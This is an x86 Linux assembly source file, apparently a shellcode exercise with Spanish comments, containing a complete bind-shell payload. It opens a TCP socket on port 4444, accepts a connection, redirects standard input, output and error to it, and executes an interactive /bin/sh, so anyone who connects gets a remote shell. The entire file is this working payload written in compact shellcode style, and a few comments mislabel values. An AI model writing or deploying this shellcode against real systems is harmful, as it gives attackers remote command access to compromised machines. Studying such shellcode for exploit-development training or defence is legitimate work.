bind.nasm

section .text
    global _start

_start:
    xor eax, eax
    push byte 0x66          
    pop eax
    push byte 0x01	
    pop ebx
    ;xor ecx, ecx
    ;push ecx
    push byte 0x06	;Constante para IPPROTO_TCP
    push byte 0x01	;Constante para SOCK_STREAM
    push byte 0x02	;Constante para AF_INET
    mov ecx, esp
    int 0x80		;socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)
    
    mov esi, eax	;Socket Descriptor almacenado en EAX. Se guarda temporalmente en ESI.
    
    xor edx, edx		
    push edx		    ; Push 0
    push word 0x5c11	    ; Port 4444 (little en.)
    push word 0x02	    ; Func. Bind()
    mov ecx, esp	    ; ECX -> ESP -> [0x02, 0x5c11, 0]
    push byte 0x10	    ; Push 10
    push ecx		    ; Push address ECX -> [0x02, 0x5c11, 0]
    push eax		    ; Push socketfd.
    mov ecx, esp	    ; ECX -> ESP -> [socketfd, [0x02, 0x5c11, 0], 0x10 ]
    mov bl, 0x02	    ; bl -> 2 (bind function)
    push byte 0x66	    ; Push 102 (socketcall)
    pop eax		    ; 	
    int 0x80		    ;bind (socketfd, struct sockaddr *name, socklen_t namelen)
    
    ;listen
    xor eax, eax
    mov al, 0x66	    ;socketcall
    mov bl, 0x04	    ;listen
    push byte 0x1	    ;Push 0x1
    push esi		    ;Push socketfd
    mov ecx, esp	    ; ECX -> ESP -> [socketfd, 0x1]
    int 0x80		    ;listen(socketfd, 0x1)
    
    ;accept
    push edx		    ;Push 0x0
    push esi 		    ;Push socketfd
    mov ecx, esp            ;ECX -> ESP -> [socketfd, 0x0] 
    inc ebx		    ;EBX += 1 => 0x5
    push byte 0x66	    ;Push 102 (socketcall)
    pop eax		    ;EAX => 102
    int 0x80		    ;accept(socketfd, 0x0)
    
    mov ebx, eax	    ;EBX => socketfd
    
    ;dup2(sockfd, 2); dup2(sockfd, 1); dup2(sockfd, 0)
    push byte 0x02
    pop ecx
    do_dup:
        push byte 0x3f	     ;syscall dup2 => 63.
        pop eax
        int 0x80	     ;Se invoca a dup2 dos veces
    loop do_dup
    push byte 0x3f
    pop eax
    int 0x80	;Se invoca a dup2 una vez mas. Total de tres invocaciones
    
    
    ; execve ("/bin/sh", ["/bin/sh", "-i"], 0);
    xor edx, edx	;EDX => 0x0
    push edx		;Push 0x0
    push 0x68732f6e	;Push n/sh
    push 0x69622f2f	;Push //bi
    mov ebx, esp	; EBX -> ESP -> [//bin/sh, 0x0]
    push edx		;Push 0x0
    push word 0x692d	;Push cadena '-i'
    mov ecx, esp	;ECX -> ESP -> [//bin/sh,-i,0x0, 0x0]
    push edx		;Push 0x0
    push ecx		;Push ECX [//bin/sh, -i, 0x0, 0x0]
    push ebx		;Push EBX [//bin/sh, 0x0]
    mov ecx, esp	;ECX -> ESP -> [//bin/sh, 0x0], [//bin/sh, -i, 0x0, 0x0]
    push byte 0x0b      ;Push 0x11 -> EXECVE
    pop eax		;EAX -> 0x11
    int 0x80		;execve ("/bin/sh", ["/bin/sh", "-i"], 0);